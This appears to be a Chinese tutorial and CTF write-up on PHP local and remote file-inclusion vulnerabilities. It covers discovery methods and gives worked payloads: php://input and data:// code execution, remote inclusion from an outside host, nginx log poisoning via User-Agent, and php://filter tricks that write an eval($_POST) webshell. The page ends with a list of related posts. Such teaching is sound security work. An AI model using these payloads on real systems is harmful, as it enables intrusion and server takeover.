目录

知识概要

1、解释

2、实现漏洞的三种方式

3、本地包含LFI&远程包含RFI-区别

4、各类脚本语言包含代码写法

思路点

黑盒发现

白盒发现

CTF案例演示

CTF-78-php&http协议

CTF-79-data&http协议

CTF-80&81-日志包含

CTF-87-php://filter/write&加密编码


知识概要

1、解释

什么是文件包含:

将其他文件直接包含在本页代码中。

文件包含漏洞:

当包含函数的内容是一个变量的话,那么可以通过控制变量包含带有后门的文件就实现了文件包含漏洞。

2、实现漏洞的三种方式

1、配合文件上传进行getshell,图片带有脚本后门代码,包含这个图片,脚本代码就被触发

2、配合日志文件进行getshell,日志会记录访问得UA信息,修改UA信息并改为后门代码,包含日志路径并执行后门代码

3、配合会话(session)文件进行getshell。

session的参考资料: session包含 - lnterpreter - 博客园

4、利用伪协议:php伪协议参考资料

使用伪协议的条件:

1、使用伪协议包含文件的函数中只能有变量,不能连接其他路径

2、查看伪协议的开关是否开启

3、本地包含LFI&远程包含RFI-区别

LFI:只能包含本地

RFI:可以远程加载

具体形成原因由代码和环境配置文件决定

4、各类脚本语言包含代码写法

<!--#include file="1.asp" -->

<!--#include file="top.aspx" -->

<c:import url="http://thief.one/1.jsp">

<jsp:include page="head.jsp"/>

<%@ include file="head.jsp"%>

<?php Include('test.php')?>

思路点

黑盒发现

主要观察参数传递的数据和文件名是否对应。如果url中有变量接受文件名,尝试给变量赋值其他文件名,要是可以正常显示证明有包含文件漏洞

白盒发现

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

CTF案例演示

CTF-78-php&http协议

payload: ?file=php://input post:<?php system('tac flag.php');?>

源码显示位直接获取文件并直接进行包含

直接利用input伪协议和post访问直接获取flag

 

CTF-79-data&http协议

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

该关过滤php,那么直接利用远程包含即可并在远程包含的文件上写入获取flag的代码

 

CTF-80&81-日志包含

注意:81与80方法相同,所以值演示80

利用日志记录UA特性包含执行

分析需文件名及带有php关键字放弃

故利用日志记录UA信息,UA带入代码

包含:/var/log/nginx/access.log

该关过滤了php,data并且禁用了文件包含漏洞

该关使用日志文件,通过查看信息发现中间件的类型nignx。同时搜索日志文件发现可以进行包含

直接访问页面,利用将UA改为获取flag代码,访问日志文件获取flag即可

CTF-87-php://filter/write&加密编码

1、利用base64写入文件:

url编码2次:php://filter/write=convert.base64-decode/resource=123.php

content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

2、利用凯撒13:

url编码2次:php://filter/write=string.rot13/resource=2.php

content=<?cuc riny($_CBFG[1]);?>

加解密: Rot13密码 - Rot13 Cipher - 在线工具网

CTF-88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64值

Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk

CTF-117-php://filter/write&新的算法

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

执行下面PHP代码通过第一次的反转获取payload所加密的php文件内容

<?php

$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');

echo "经过一次反转:".$result."\n";

echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);

?>

Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

contents=?<hp pvela$(P_SO[T]a;)>?

 

WEB攻防-通用漏洞文件包含LFIRFI伪协议编码算法代码审计相关推荐

  1. WEB攻防-通用漏洞文件上传二次渲染.htaccess变异免杀

    目录 知识点 详细点 文件二次渲染 php删除规则 例题 CTF-Web入门-162 CTF-Web入门-163 CTF-Web入门-164 CTF-Web入门-165 CTF-Web入门-166 C ...

  2. 文件包含中伪协议的利用

    文章目录 伪协议: fillter.file用来读取文件源码 data与php://input协议利用 zip://与phar:// filter绕过死亡die base64绕过 strip_tags ...

  3. 文件包含PHP伪协议利用

    文件包含 文件包含漏洞是"代码注入"的一种.其原理就是注入一段用户能控制的脚本或代码,并让服务端执行."代码注入"的典型代表就是文件包含. 要想成功利用文件包含 ...

  4. 第39天:WEB攻防-通用漏洞CSRFSSRF协议玩法内网探针漏洞利用

    目录 CSRF:跨站请求伪造 定义: 举例 条件 CSRF的防护 SSRF       服务器端请求伪造 举例 漏洞利用攻击: 端口扫描,指纹识别,漏洞利用, 内网探针(端口字典爆破)--通过远程请求 ...

  5. WEB攻防-通用漏洞水平垂直越权购买逻辑漏洞

    目录 水平垂直越权 水平越权 垂直越权 访问控制原理 漏洞判别 防护 购买逻辑漏洞 知识点 详细介绍 防护 案例演示-优惠券 案例演示-CMS-订单修改 水平垂直越权 水平越权 同级用户权限共享--- ...

  6. WEB攻防-通用漏洞SQL读写注入ACCESS偏移注入MYSQLMSSQLPostgreSQL

    目录 知识点 详细 ACCESS偏移注入 读取路径 案例演示 MYSQL-root高权限读写注入 PostgreSQL-高权限读写注入 MSSQL-sa高权限读写执行注入 知识点 1.Access偏移 ...

  7. 文件包含——php伪协议(五)

    抓包 http://127.0.0.1/1.php?page=php://input 最后面加一句话木马 查源码,base64解码 使用zip协议需要指定绝对路径,使用相对路径会包含失败:同时将#编码 ...

  8. 文件上传漏洞_通达OA前台任意文件上传漏洞+文件包含漏洞导致getshell

    点击蓝字|关注我们 通达OA前台任意文件上传漏洞 +文件包含漏洞导致getshell 一.漏洞介绍/Profile/ 通达OA介绍: 通达OA(Office Anywhere网络智能办公系统)是由北京 ...

  9. WEB漏洞—文件包含漏洞

    介绍 所谓文件包含漏洞,故名思意,就是在文件中包含(引用)了其他文件所导致的漏洞.例如有些函数在不同代码中的作用都是相同的,在这里我们可以称呼它为"变量",那么这时程序员就会将该& ...

最新文章

  1. R语言使用ggpubr包可视化分组条形图(grouped bar plot)、并添加误差条(error bar、误差条显示平均值+/-sd)、添加分组填充色、添加jitter、自定义分组抖动数据点形状
  2. buffer cache 深度解析
  3. 怎么能把看不清的照片给看清_哪些人会得?应该怎么治?关于白内障的“经典十问”...
  4. Opencv开闭运算去除反光噪声
  5. 架构师书单 2nd Edition
  6. 杭电1856More is better
  7. Django框架深入了解_05 (Django中的缓存、Django解决跨域流程(非简单请求,简单请求)、自动生成接口文档)(一)
  8. goahead php,Goahead移植教程 | 学步园
  9. 聊一聊Jmeter与多接口测试
  10. iPhone 12性能暴增!将再次与安卓拉开距离
  11. 可变车道怎么走不违章_可变车道怕走错扣分罚款,学学老司机的办法,新手司机学会不吃亏...
  12. postges mysql_MySQL中on duplicate key update 在PostgesSQL中的实现方式
  13. 短视频服务大PK,阿里云、腾讯云、又拍云、七牛云、金山云5强横向对比
  14. 信息学奥赛一本通,题解列表
  15. 惠普打印机换硒鼓图解_惠普激光打印机硒鼓安装方法(图文)
  16. qpython3l表白编程_沫琼的喜欢 | LOFTER(乐乎) - 让兴趣,更有趣
  17. c语言的双精度浮点数,什么是双精度浮点数
  18. SQL面试题:经典50例
  19. java 空格 separater_Java随手记
  20. nginx(项目部署)linux版

热门文章

  1. 【P02】47耳放的优化版本,全资料下载
  2. 硬仗酒全线升级,新概念新玩法新风尚
  3. 云主机好不好_阿里云主机是什么,阿里云主机怎么样?
  4. linux操作系统原理_Linux后台开发C++学习路线技能加点,已拿鹅厂offer
  5. 编程读取Revit中材料的渲染属性
  6. 听《武志红的心理课之潜意识就是命运》有感 命运,这个东西信者有,不信者无。我很赞同武老师的观点,一个热的外在命运和我们的内在想象,是镜像关系。这不禁让我想起了小时候的一个故事:一群青蛙比赛爬山,很多人
  7. IT码农进入日企之路——模拟试题
  8. 预备作业:有关技能以及“做中学”
  9. 阿里/腾讯云静默安装Oracle11G超级详细教程
  10. Python 经纬度,偏航角,距离计算